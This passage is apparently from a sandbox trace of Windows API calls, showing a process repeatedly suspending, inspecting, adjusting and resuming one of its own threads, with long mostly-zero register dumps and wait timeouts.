[17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0286.854] ResumeThread (hThread=0xf4) returned 0x1 [0286.854] CloseHandle (hObject=0xf4) returned 1 [0286.854] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x279efd30) returned 0x102 [0287.262] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x279efd30) returned 0x102 [0287.513] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x279efd30) returned 0x102 [0287.921] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x279efd30) returned 0x102 [0288.433] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x279ef7f8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x279ef7f8*=0xf4) returned 1 [0288.433] SuspendThread (hThread=0xf4) returned 0x0 [0288.433] GetThreadContext (in: hThread=0xf4, lpContext=0x279ef830 | out: lpContext=0x279ef830*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10216, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000137838, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0xeb0165, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0288.714] SetThreadContext (hThread=0xf4, lpContext=0x279ef830*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10216, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000137830, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0xea4720, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0288.981] ResumeThread (hThread=0xf4) returned 0x1 [0288.981] CloseHandle (hObject=0xf4) returned 1 [0288.989] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x279efd30) returned 0x102 [0289.139] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x279efd30) returned 0x102 [0289.647] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x279efd30) returned 0x102 [0289.934] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x279ef7f8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x279ef7f8*=0xf4) returned 1 [0289.985] SuspendThread (hThread=0xf4) returned 0x0 [0289.985] GetThreadContext (in: hThread=0xf4, lpContext=0x279ef830 | out: lpContext=0x279ef830*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10216, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000137558, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0xe55440, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0290.089] ResumeThread (hThread=0xf4) returned 0x1 [0290.089] CloseHandle (hObject=0xf4) returned 1 [0290.090] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x279efd30) returned 0x102 [0291.477] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x279ef7f8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x279ef7f8*=0xf4) returned 1 [0291.477] SuspendThread (hThread=0xf4) returned 0x0 [0291.477] GetThreadContext (in: hThread=0xf4, lpContext=0x279ef830 | out: lpContext=0x279ef830*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10202, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0x5ffcb8, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0xe7b00b, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0291.660] ResumeThread (hThread=0xf4) returned 0x1 [0291.660] CloseHandle (hObject=0xf4) returned 1 [0291.769] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x279efd30) returned 0x102 [0292.040] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x279efd30) returned 0x102 [0292.073] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x279efd30) returned 0x102 [0292.206] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x279efd30) returned 0x102 [0292.492] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x279efd30) returned 0x102 [0293.137] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, 